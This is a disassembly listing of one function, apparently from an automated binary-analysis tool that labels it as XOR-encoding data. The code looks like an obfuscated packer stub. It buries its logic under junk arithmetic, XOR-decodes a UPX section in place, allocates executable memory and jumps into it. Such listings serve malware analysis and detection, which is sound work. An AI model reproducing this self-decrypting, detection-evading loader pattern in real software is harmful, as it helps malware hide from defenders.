Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x54dd966c
sub ebx, esi
or ebx, esi
mov esi, ebx
popal
add esi, 0xb90f0115
sub esi, 1
dec ebx
mov ebx, 0
mov edi, edx
sub esi, 0x7f0e44d9
not esi
or esi, esi
mov ecx, edi
not eax
and esi, esi
mov edx, ecx
sub esi, eax
sub eax, esi
or esi, eax
add ebx, 1
sub esi, eax
sub eax, 0xf0e24262
and esi, eax
cmp ebx, 0x1000c19
jne 0x47afd7
not eax
not esi
mov esi, 0x15f8106f
cmp ebx, 0x1000c19
je 0x47b025
mov ecx, 0
mov byte [ecx], bl
mov eax, esi
inc eax
mov esi, 0x79548d8f
mov ebx, 0xb35c366a
add ebx, esi
mov esi, ebx
mov ebx, 0x47ada2
dec eax
sub eax, 0xb327a7b6
mov ecx, 0x47af96
sub eax, 0xea6b3ad3
not edx
mov esi, dword [ebx]
add edi, 0x58a2ea74
add edx, 0xf2497cfa
and esi, 0xff
not eax
add edi, edi
xor dword [ecx], esi
sub edi, eax
add eax, edi
inc ecx
or edx, edx
or eax, edx
dec edx
add ebx, 1
mov edi, 0xcada7e1
add eax, 0xc6b9fe86
cmp ecx, entry0
jl 0x47b04f
mov eax, edi
sub edx, edi
not eax
mov eax, edi
sub edi, 0x373307e9
not ebx
or esi, edx
mov ecx, 0x47af9a
dec ebx
add edi, esi
inc esi
mov ecx, dword [ecx]
sub edx, 0xe76cb720
and esi, ebx
mov ecx, dword [ecx]
sub edi, edx
mov edx, esi
sub ebx, 0xa3b7ebc7
push ecx
add esi, edx
and edi, esi
mov ecx, 0x47af96
sub edx, edi
sub ebx, esi
sub edx, 0x5de8a0f7
mov ecx, dword [ecx]
sub edx, 0xf3c14301
not edx
add edi, 0xfda9c518
mov ecx, dword [ecx]
sub edx, 0x5413f132
not ebx
push 0x47af9e
sub ebx, edx
mov esi, 0x22b1189b
dec edx
call ecx
mov edx, esi
mov esi, 0xd30f9f88
mov ecx, dword [esp]
add esp, 4
not ebx
inc ebx
and edx, edx
push 0x47afab
or ebx, edi
mov edi, 0xb519f680
push eax
sub edi, 0xa4e0c177
sub edx, ebx
add esi, 0x129c1811
call ecx
mov ebx, 0x22ff14e9
sub ebx, 0x9a928399
add edi, ebx
push 0x40
not esi
and esi, esi
sub esp, 4
mov dword [esp], 0x3000
not ebx
add edi, 0xf563d48c
add edi, 0xfe96aa1e
push 0x200000e1
not esi
dec esi
push 0
or edi, esi
add edi, 0x6d52afc0
dec edi
call eax
not ebx
inc edx
add eax, 0x2000007b
add ebx, esi
add edi, 0x10b7fe28
sub edi, 0x2d95f5b5
mov ecx, 0x91ca5a83
add edi, 0xba64142c
and ebx, edx
mov dword [eax], ecx
add esi, 1
sub edx, 1
mov ecx, dword [eax]
mov esi, edx
not ebx
cmp ecx, 0x91ca5a83
je 0x47b1ba
mov edx, 0
mov bl, byte [edx]
or edx, ebx
and esi, edi
add edx, 1
add edi, esi
sub edi, ebx
sub esi, 0x9ad91d92
sub esi, 0x83020bda
mov edi, section.UPX1
inc esi
dec ebx
mov eax, 0x47ada1
or ebx, ebx
and esi, ebx
mov ecx, 0
and esi, ebx
add ebx, 0x1df5f87a
not esi
mov edx, 0x47ada2
dec esi
not ebx
sub esi, 0x351320c
lea edx, [edx + ecx]
sub ebx, esi
add esi, 0x974aecb0
dec ebx
mov edx, dword [edx]
mov esi, ebx
add ebx, 0x3e19e55c
mov esi, ebx
and edx, 0xff
sub esi, 0x717c220c
add esi, 0x97c18a62
inc ecx
sub ebx, 0x251b5e78
inc esi
dec ebx
cmp ecx, 0x1f4
jne 0x47b241
mov ecx, 0
and esi, ebx
sub esi, ebx
mov esi, 0x9f797ca6
mov esi, 0x449786af
sub esi, 0x3ae7b2a0
inc ebx
xor dword [edi], edx
mov esi, 0xbc4bf9b0
mov esi, 0x5f649785
add edi, 2
add ebx, esi
add esi, 0xc4a34d5d
cmp edi, eax
jl 0x47b1f3
add ebx, ebx
sub esi, 0x8ddb86dd
or ebx, ebx
sub esi, 0x1d9b8820
sub ebx, 0xef59eb1e
mov ebx, section.UPX1
not esi
add esi, 1
dec eax
mov ecx, section.UPX1
add eax, 0x5a85e4c0
and esi, esi
sub eax, esi
mov edi, 0x47ada1
add eax, 0x7210864d
or esi, eax
mov edx, 0
add eax, 0xcbab14b8
sub eax, esi
mov dl, byte [ecx]
or esi, esi
add esi, 0xcefba54e
mov byte [ebx], dl
mov esi, eax
or esi, eax
sub eax, esi
inc ebx
or eax, esi
add eax, esi
inc esi
add ecx, 2
sub eax, 0xbb91a983
inc eax
cmp ecx, edi
jle 0x47b2c5
add eax, 0xca5bed54
mov esi, 0xc01b5e66
add eax, eax
mov esi, 0xceedf4c0
dec ebx
sub esp, 4
mov dword [esp], 0x45e6a0
mov ebx, 0x1a1cf878
add ebx, 0xa401a31
or esi, ebx
ret